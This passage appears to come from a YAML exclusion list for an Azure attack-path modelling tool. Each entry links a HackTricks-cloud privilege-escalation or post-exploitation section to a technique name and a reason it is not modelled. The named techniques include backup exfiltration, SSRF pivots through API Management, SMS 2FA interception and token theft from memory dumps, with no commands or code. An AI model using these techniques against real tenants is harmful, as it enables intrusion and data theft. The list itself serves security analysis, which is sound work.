src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#exchange-a-supplied-github-authorization-code-with-factoriesgetgithubaccesstokenaction + technique: Factory GitHub authorization-code exchange without reviewed use + reason: 'The Azure action requires a caller-supplied GitHub authorization code. A separate typed variant requires a verified returned token, exact GitHub subject and repository, prior denial, and newly allowed action.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-factory-post-exploitation.md#read-plaintext-parameters-from-pipeline-run-history + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Pipeline run parameter read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#secret-delivery-attribute-disclosure + technique: Event subscription secret delivery attributes + reason: Secret read of unknown content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#signed-event-subscription-endpoint-disclosure + technique: Event subscription full endpoint URL + reason: Callback secret read (invokes triggers only). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#hijack-event-delivery-by-overwriting-a-subscription-with-eventsubscriptionswrite + technique: Event subscription destination overwrite + reason: Event exfiltration; any delivery token is audience-bound to the destination app, not a usable Azure identity edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#namespace-pull-subscription-data-disclosure + technique: Event Grid namespace events/receive + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#iot-hub-shared-access-policy-keys + technique: IoT Hub shared access keys + reason: "NEEDS SCHEMA: Exact IoT Hub policy identity, usable key, and newly permitted hub action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#device-provisioning-service-shared-access-policy-keys + technique: DPS shared access keys + reason: "NEEDS SCHEMA: Exact DPS policy identity, usable key, and newly permitted provisioning action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#device-and-module-identity-takeover + technique: IoT device/module identity takeover + reason: "NEEDS SCHEMA: Exact device or module identity, usable credential or assigned key, and newly permitted device action must be verified." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-iot-hub-post-exploitation.md#device-twin-disclosure-and-commandconfiguration-injection + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Device twin read/write + reason: Device configuration injection; device-side effect. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-iot-hub-post-exploitation.md#cloud-to-device-messages-direct-methods-and-jobs + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: C2D messages, direct methods, jobs + reason: Device-side effect; no Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#full-registry-export-and-import + technique: Registry export/import + reason: "NEEDS SCHEMA: Exact exported device identity, usable credential, and newly permitted device action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#dps-attestation-key-disclosure-and-unauthorized-provisioning + technique: DPS attestation keys + reason: "NEEDS SCHEMA: Exact attested device or enrollment identity and newly permitted provisioning action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#lower-impact-boundaries + technique: IoT lower-impact operations + reason: Low impact per page. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespaceswrite--microsoftservicebusnamespacesread-if-az-cli-is-used + technique: Service Bus re-enable local auth + reason: Control weakening; no identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#access-key-disclosure-and-message-injection + technique: SignalR/Web PubSub access keys + reason: Real-time message control; application-dependent. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#signalr-temporary-signing-material-with-only-authaccesskeyaction + technique: SignalR auth/accessKey + reason: Real-time message control; application-dependent. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#targeted-client-message-injection + technique: SignalR/Web PubSub message injection + reason: Message injection; escalation depends on downstream consumer logic, not modelable from RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#web-pubsub-client-token-minimum-pair + technique: Web PubSub client token + reason: Application client connection only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#modify-network-restrictions + technique: Key Vault network ACL change + reason: Network reachability only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowstriggerslistcallbackurlaction + technique: Trigger callback URL + reason: Runs existing workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowslistcallbackurlaction + technique: Workflow callback URL + reason: Runs existing workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#integration-account-signed-callback-permissions + technique: Integration Account callback URLs + reason: Artifact content read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsversionstriggerslistcallbackurlaction + technique: Version trigger callback URL + reason: Runs stored workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowstriggersrunaction + technique: Run existing trigger + reason: Runs existing workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunaction + technique: Run existing workflow + reason: Runs existing workflow logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowstriggershistoriesresubmitaction + technique: Resubmit trigger history + reason: Replays existing logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunsactionsread + technique: Run action inputs/outputs read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunsactionsrequesthistoriesread + technique: Webhook request history read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsaccesskeyslistaction + technique: Workflow access keys + reason: Callback signing material; existing logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebsitespublishaction-microsoftwebsitesread-microsoftwebsitesbasicpublishingcredentialspoliciesread-microsoftwebsitesconfiglistaction-microsoftwebsitesstartaction + technique: Standard Logic App publish + reason: Duplicate of app_services.yaml Microsoft.Web/sites publish entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebconnectionswrite---redirect-a-future-workflow-through-attacker-credentials + technique: API connection credential replacement + reason: Data redirection; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicintegrationaccountsmapswrite---poison-a-future-xslt-transformation + technique: Integration Account map write + reason: Data manipulation; consumer-dependent. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversread-microsoftdbforpostgresqlflexibleserverswrite-microsoftdbforpostgresqlflexibleserversbackupsread + technique: PostgreSQL restore from backup + reason: Data copy; password reset path modelled separately. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversfirewallruleswrite + technique: SQL firewall rules + reason: Network reachability only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversipv6firewallruleswrite + technique: SQL IPv6 firewall rules + reason: Network reachability only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversazureadonlyauthenticationswrite--microsoftsqlserversazureadonlyauthenticationsread + technique: SQL Entra-only authentication toggle + reason: Control weakening; used as condition of password reset entry. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversdatabasesdatamaskingpolicieswrite + technique: Dynamic data masking policy + reason: Data exposure control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#remove-row-level-security + technique: Remove row-level security + reason: Data-plane SQL permission; not RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#elastic-jobs-run-arbitrary-t-sql-through-jobagentsjobsstepswrite--executionswrite + technique: Elastic Jobs T-SQL as stored credential + reason: Reaches a SQL login of unknown privilege, not an Azure principal or necessarily admin. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsitessnippetswrite + technique: SWA snippet injection + reason: "NEEDS SCHEMA: Exact authenticated visitor principal, credential/session capture, and newly authorized action must be verified; generic client-side injection alone is terminal." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#read-configured-third-party-credentials + technique: Third-party source-control tokens + reason: "NEEDS SCHEMA: Exact GitHub or other source-control credential, subject, usability, and newly permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#overwrite-file---overwrite-routes-html-js + technique: Overwrite repo files with GitHub token + reason: "NEEDS SCHEMA: Exact source-control or application principal, attacker-controlled file execution, and newly authorized action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsitesconfigwrite + technique: SWA basic auth change + reason: Content access control only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsiteslistsecretsaction + technique: SWA deployment token + reason: "NEEDS SCHEMA: Exact deployment key subject, usability, and newly permitted deployment action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsiteswrite + technique: SWA source repository change + reason: Static content deployment; no managed identity reached. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsitesresetapikeyaction + technique: SWA reset API key + reason: Disruption. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsitescreateinvitationaction + technique: SWA user invitation + reason: "NEEDS SCHEMA: Exact invited application user, assigned app role, and before/after permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#pull-requests + technique: SWA PR preview deployments + reason: Repository-level abuse; no Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#service-user-delegation-keys-blob-file-queue-and-table + technique: User delegation keys + reason: Storage data access; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountswrite + technique: Storage account write (network/settings) + reason: Control weakening only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#hns-acl-takeover-and-blob-super-user-data-action + technique: HNS ACL takeover / runAsSuperUser + reason: Storage data access; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#operational-blob-backup-rollback-with-microsoftdataprotectionbackupvaultsbackupinstancesrestoreaction + technique: Blob backup rollback + reason: Data integrity/recovery; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsblobservicescontainersimmutabilitypolicieswrite--microsoftstoragestorageaccountsblobservicescontainersimmutabilitypoliciesdelete + technique: Immutability policies + reason: Data retention control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicestakeownershipaction + technique: Azure Files take ownership + reason: Storage data access; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesmodifypermissionsaction + technique: Azure Files modify permissions + reason: Storage data access; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesactassuperuseraction + technique: Azure Files act as superuser + reason: Storage data access; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#azure-files-and-local-user-credential-boundaries + technique: Azure Files / local-user boundaries + reason: Page states not standalone primitives. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsrestoreblobrangesaction + technique: Restore blob ranges + reason: Data recovery. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#soft-deleted-containers-and-blobs-via-account-keys + technique: Soft-deleted container/blob restore + reason: Data recovery. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicessharesrestoreaction--microsoftstoragestorageaccountsread + technique: File share restore + reason: Data recovery. +# Az1 refresh against hacktricks-cloud 171e422 (README..functions-app) +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/README.md#entra-id-and-azure-iam + technique: "Index page section" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#ai-foundry-ai-hubs-azure-openai--ai-search + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftcognitiveservicesaccountsconnectionslistsecretsaction-and-microsoftcognitiveservicesaccountsprojectsconnectionslistsecretsaction + technique: "AI Foundry connection secret listing" + reason: "Covered by azure-ml-connection-secrets." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftcognitiveservicesaccountswrite--account-config-tamper--uami-attach--re-enable-local-auth--open-network + technique: "Cognitive Services account config tamper / UAMI attach" + reason: "Account-level configuration and identity attach give no attacker-controlled code or request path running as the identity; local-auth and network changes are posture downgrades (key paths need listKeys)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#azure-ai-search + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#on-demand-skillset-detonation-with-microsoftsearchsearchservicesdebugsessionswrite--debugsessionsexecuteaction + technique: "Debug-session skillset detonation" + reason: 'NEEDS SCHEMA: exact Search skill/vectorizer/debug execution, audience-bound token receipt, and new permission are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#index-schema-poisoning--vectorizer-repoint-with-microsoftsearchsearchservicesindexeswrite + technique: "Index vectorizer repoint" + reason: 'NEEDS SCHEMA: exact Search skill/vectorizer/debug execution, audience-bound token receipt, and new permission are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#enumeration-when-search-reads-are-denied + technique: "Enumeration when reads are denied" + reason: "Enumeration guidance only; no privilege gain." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md#analysis-services + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md#analysis-services-overview + technique: "Service overview" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md#firewall-widening--power-bi-exposure-reach-the-data-plane + technique: "Analysis Services firewall widening" + reason: "Network exposure only; data-plane access still needs server admin (azure-analysisservices-server-admin-write)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-center-privesc.md#api-center + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-center-post-exploitation.md#internal-api-recon-data-reader + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Internal API inventory recon" + reason: "Data read of API metadata; no identity gained." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#api-management + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicebackendslistsecretsaction + technique: "APIM backend secret listing" + reason: "NEEDS SCHEMA: APIM backend reads may expose downstream API credentials, but exact credential subject, usable secret, newly permitted action, and prior-absence proof are not verified. Named-value Entra paths are separately modelled. no Azure identity by themselves." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceopenidconnectproviderslistsecretsaction + technique: "APIM OpenID Connect provider client secret" + reason: "Covered by azure-apim-oauth-server-secret." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicepolicieswrite-or-microsoftapimanagementserviceapispolicieswrite + technique: "APIM policy write (validate-jwt removal, throttling removal, backend reroute)" + reason: "Security-control weakening and traffic reroute; the identity path of the same permission is covered by azure-apim-policy-write-managed-identity-token (rev 171e422)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceapispolicieswrite--ssrf--internal--imds-pivot-via-send-request + technique: "APIM policy SSRF / internal pivot" + reason: "Network pivot through the gateway; the identity path is covered by azure-apim-policy-write-managed-identity-token." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#app-configuration + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-app-configuration-post-exploitation.md#microsoftappconfigurationconfigurationstoreslistkeyvalueaction + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "App Configuration key-value listing" + reason: "Data read of configuration values; Key Vault references resolve only with the consumer's identity, so no Azure identity is gained by the source." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-app-configuration-post-exploitation.md#microsoftappconfigurationconfigurationstoreskeyvaluesread + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "App Configuration key-value data read" + reason: "Data read; no identity gained." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#weaken-store-posture-with-configurationstoreswrite + technique: "App Configuration posture downgrade" + reason: "Re-enables local auth / public network; posture downgrade, no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#webjobs-microsoftwebsitespublishaction--scm-credentials + technique: "WebJobs via publish/SCM credentials" + reason: "Covered by azure-appservice-kudu-publish-action." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesconfigwrite-microsoftwebsitesconfigread-microsoftwebsitesconfiglistaction-microsoftwebsitesread + technique: "App Service config write" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#rce-via-app-settings--environment-variables-microsoftwebsitesconfigwrite + technique: "RCE via app settings" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#replace-function-code-on-its-azure-files-content-share-fileswrite--writefilebackupsemantics + technique: "Function content share code replacement" + reason: 'NEEDS SCHEMA: exact Function App to content storage binding, code overwrite, and identity execution are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesbackupaction-backup-exfiltration-to-attacker-storage + technique: "Backup exfiltration" + reason: "Data exfiltration of site content/secrets; no identity gained directly." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesnetworkconfigwrite-vnet-integration-for-an-internal-pivot + technique: "VNet integration pivot" + reason: "Network pivot; needs code execution modelled elsewhere." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#kudu-process-memory-dump-harvest-in-memory-mi-tokens--decrypted-secrets + technique: "Kudu process memory dump (SCM credential / publish path)" + reason: "Kudu access path covered by azure-appservice-kudu-publish-action; the ARM instances/processes route is modelled as azure-appservice-process-dump-cached-tokens (rev 171e422)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#remove-accessip-restrictions-to-expose-a-network-restricted-app + technique: "Access restriction removal" + reason: "Network exposure only." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsiteshybridconnectionnamespacesrelayswrite-attacker-relay-outbound-pivot + technique: "Hybrid connection attacker relay" + reason: "Outbound network pivot; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#app-service-domain-transfer-code-via-hidden-wildcard-operation + technique: "App Service domain transfer code" + reason: "Domain hijack (DNS / phishing impact); no Azure identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#azure-arc-enabled-servers + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#arc-enabled-servers-overview + technique: "Service overview" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#rce-via-arc-run-command + technique: "Arc run command" + reason: "Covered by azure-arc-machine-runcommands-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#attach-a-privileged-managed-identity-machine-write + technique: "Attach identity via machines/write" + reason: "Arc-enabled servers support only a system-assigned identity (no user-assigned attach); machines/write alone gives no code execution." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#managed-identity-token-theft-via-himds-on-prem--azure-pivot + technique: "HIMDS token theft on the box" + reason: "On-box step; the reaching RCE paths are azure-arc-machine-extensions-write, azure-arc-machine-runcommands-write and azure-arc-hybrid-connectivity-entra-ssh." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#license--license-profile-writes-billing-abuse + technique: "License profile writes" + reason: "Billing abuse; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-resource-bridge-privesc.md#azure-arc-resource-bridge + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-resource-bridge-privesc.md#export-partner-kubeconfig-and-hybrid-connection-listener-token + technique: "Partner kubeconfig / listener token export" + reason: "Covered by azure-arc-resource-bridge-credential-export." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-resource-bridge-privesc.md#built-in-role-exposure + technique: "Built-in role exposure" + reason: "Role inventory guidance; no separate primitive." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md#arm-templates--deployments + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#arm-templates--deployments + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-attestation-post-exploitation.md#azure-attestation + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#entra-id-azuread--azure-iam + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#automation-accounts + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsscheduleswrite-microsoftautomationautomationaccountsjobscheduleswrite + technique: "Schedule an existing runbook" + reason: 'NEEDS SCHEMA: exact runbook trigger, behavior, execution, and named identity outcome are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountswebhooks--microsoftautomationautomationaccountsrunbooksread + technique: "Webhook trigger of an existing runbook" + reason: 'NEEDS SCHEMA: exact runbook trigger, behavior, execution, and named identity outcome are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsrunbooksdraftwrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsrunbooksdrafttestjobwrite + technique: "Draft test job" + reason: "Covered by azure-automation-runbook-author-and-run (testJob alternative)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#automation---malicious-modules + technique: "Malicious module" + reason: 'NEEDS SCHEMA: exact runbook import and execution under named identity are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#azure-batch + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountsregeneratekeysaction + technique: "Batch key regeneration" + reason: "Covered by azure-batch-shared-key-task-submission." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#azure-bot-service + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#communication-services + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-communication-services-post-exploitation.md#org-domain-phishing-infrastructure-with-emailservicesdomainssenderusernameswrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Org-domain sender phishing" + reason: "Phishing infrastructure; no Azure identity." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-communication-services-post-exploitation.md#push-channel-redirect-with-communicationserviceslinknotificationhubaction + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Push channel redirect" + reason: "Notification redirection; no Azure identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#inbound-sms2fa-interception-with-communicationserviceseventgridfilterswrite + technique: "Inbound SMS / 2FA interception" + reason: "NEEDS SCHEMA: Exact intercepted factor, named account subject, and successful newly authorized account action must be verified; message interception alone is terminal." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md#confidential-ledger + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-apps-privesc.md#container-apps + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#container-instances-container-apps-and-jobs + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#azure-container-instances-apps--jobs + technique: "Section title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftcontainerinstancecontainergroupswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + technique: "ACI with user-assigned identity" + reason: "Covered by azure-aci-assign-user-assigned-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappmanagedenvironmentsread-microsoftappjobswrite-microsoftappmanagedenvironmentsjoinaction-microsoftmanagedidentityuserassignedidentitiesassignaction + technique: "Container App job with user-assigned identity" + reason: "Covered by azure-containerapp-job-assign-user-assigned-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#container-registry + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistrieswebhookswrite--outbound-event-exfiltration--ci-cd-recon + technique: "ACR webhook exfiltration" + reason: "Push/pull event metadata exfiltration; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistrieswrite--network-exposure--lockout + technique: "ACR network exposure / lockout" + reason: "Posture change or DoS; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#customer-managed-key-cmk-revocation--registry-ransom--dos + technique: "ACR CMK revocation" + reason: "Denial of service; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#cosmosdb + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftinferenceserviceinferenceaccountsregeneratekeysaction + technique: "Inference account key regeneration" + reason: "Rotate-and-capture of the semantic reranker key gives billed inference access only; no Azure identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftinferenceserviceinferenceaccountsinvokesemanticrerankeraction + technique: "Semantic reranker invocation" + reason: "Inference usage; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#other-current-inference-service-boundaries + technique: "Inference service boundaries" + reason: "Boundary notes; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-explorer-privesc.md#azure-data-explorer + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#data-factory + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-database-migration-service-privesc.md#database-migration-service + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-database-migration-service-privesc.md#microsoftdatamigrationsqlmigrationserviceslistauthkeysaction--rogue-ir-worker-on-prem-credential-relay + technique: "DMS IR auth key rogue worker" + reason: "NEEDS SCHEMA: a rogue DMS integration runtime may obtain an on-prem 